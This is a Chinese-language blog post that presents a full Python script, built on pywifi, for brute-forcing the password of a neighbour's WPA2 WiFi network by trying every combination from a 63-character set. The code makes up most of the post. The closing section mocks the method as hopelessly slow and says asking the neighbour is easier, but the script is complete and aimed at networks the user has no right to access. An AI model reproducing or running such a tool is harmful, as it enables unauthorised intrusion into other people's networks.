暴力破解邻居家的WiFi。。。
或,白嫖蹭WiFi。。。
又或,可以随时随地打开笔记本电脑来装个。。。咳咳
(以上是编代码前的最初目的)
(以下是发布这片文章的真实目的)
吐槽这破解方式是多么的扯淡。。。。。。
核心模块:
pywifi(模块的详细内容请出门左拐 <-_<-)
作用:获取本机网卡,搜寻,链接或断开WiFi
路人模块:
itertools
作用:循环生成临时密码
time
作用:WiFi链接或断开需要一定时间
# 创建WiFi对象:
wifi = pywifi.PyWiFi()
# 获得本机无线网卡:
ifaces = wifi.interfaces()[0] # 此处获得的是一个列表
# 获取附近WiFi:
wifi_scanned = ifaces.scan_results() # 此处同样是个列表
# 获取第一个WiFi的名称:
wifiname = wifi_scanned[0].ssid
# 获取当前网卡的连接状态
status = ifaces.status()
其中:
status = 0 : 未连接
status = 1 : 扫描中
status = 2 : 延迟
status = 3 : 正在连接中…
status = 4 : 已连接
# 这里我们不直接把密码本输出(浪费空间),直接造一个小生成器(generator)
def temppwd(pren): # pren是搜寻密码的初始位数
num = pren
# 设置询查密码可含有的符号
words = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_'
while True:
set = itertools.product(words, repeat=num)
for temp in set:
yield temp
num += 1
temp = temppwd()
for each in temp:
......
for each in temp:
if WiFi已连接:
......
savepwd()
break
else:
检测多少后作个响应
def savepwd():
......
我们把前面所说内容打个包:
import pywifi
from pywifi import const
import itertools
import time
# 打个包
class BKwifi():
# 一台设备就一个网卡,故直接用类属性
wifi = pywifi.PyWiFi()
# 获取无线网卡
ifaces = wifi.interfaces()[0]
# 获取(默认)附近最强WiFi名称
wifiname = ifaces.scan_results()[0].ssid
def __init__(self, pren=6, save_address='.'):
# 设置找到密码时文件保存地址
self.save_address = save_address
# 设置初始查找的密码位数
self.pren = pren
# 存储密码
def _savepwd(self, wifiname, wifipwd):
with open(self.save_address + r'/result.txt', 'w') as f:
f.write(f'WiFi: {wifiname} 的密码是: {wifipwd}')
# 判断连接是否成功
def _wificonnect(self, wifiname, wifipwd):
# 确保无线网已是断开状态
self.ifaces.disconnect()
time.sleep(0.5)
if self.ifaces.status() == const.IFACE_DISCONNECTED:
# 创建并设置WiFi文件
profile = pywifi.Profile()
profile.ssid = wifiname
profile.key = wifipwd
# WiFi的加密算法
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# 网卡的开放
profile.auth = const.AUTH_ALG_OPEN
# 加密单元
profile.cipher = const.CIPHER_TYPE_CCMP
# 删除原网卡下所有WiFi文件信息
self.ifaces.remove_all_network_profiles()
# 添加新WiFi文件信息
tempfile = self.ifaces.add_network_profile(profile)
# 连接新WiFi
self.ifaces.connect(tempfile)
time.sleep(1)
if self.ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
# 创建密码薄
def _temppwd(self):
num = self.pren
# 设置询查密码可含有的符号
words = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_'
while True:
set = itertools.product(words, repeat=num)
for temp in set:
yield temp
num += 1
# 主要执行程序
def getpwd(self):
temp = self._temppwd()
i = 0
print('开始执行程序...')
for wifipwd in temp:
wifipwd = ''.join(wifipwd)
print(wifipwd)
i += 1
if self._wificonnect(wifiname=self.wifiname, wifipwd=wifipwd):
print(f'已经找到正确密码: {wifipwd}')
self._savepwd(wifiname=self.wifiname, wifipwd=wifipwd)
break
else:
if i % 10 == 0:
print(f"已经尝试 {i} 个错误密码...")
if __name__ == "__main__":
password = BKwifi(pren=9)
password.getpwd()
终于到了最令人心动的环节了,
哈哈哈哈…各位读者好,嘻嘻嘻,很好。
你们有没有仔细看完上述教程?若是有的话,那么恭喜你们!!!你们成功浪费了人生中的数十分钟乃至数个小时。。。。。。
很明显,让我们看看,一套下来,为保障确认连接的准确性,尝试一次密码用时多少?1.5s!!!至少1.5s啊!!!也就是说,一天最多尝试57600次(才…)。
而每一位密码有至少63种可能。。。。。。(肯定可以更多)
(‘ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_’)
而一般用户最常使用的密码:‘姓名’ + ‘生辰’
比如:
小明,1997.01.01
password: xm970101
这就 8 位密码。。。
8 位排序有 63^8 种可能。。。(只是举例,这年头不会真有人还在用这样式当密码模板吧???!!!。。。)
再最后,
你再比一下,你会发现,你还不如直接开门,走到隔壁家门口,无奈而又烦躁地重重敲几下门,问声:老王啊!在家嚒?你加你家WiFi密码多少?借我蹭蹭怎么样?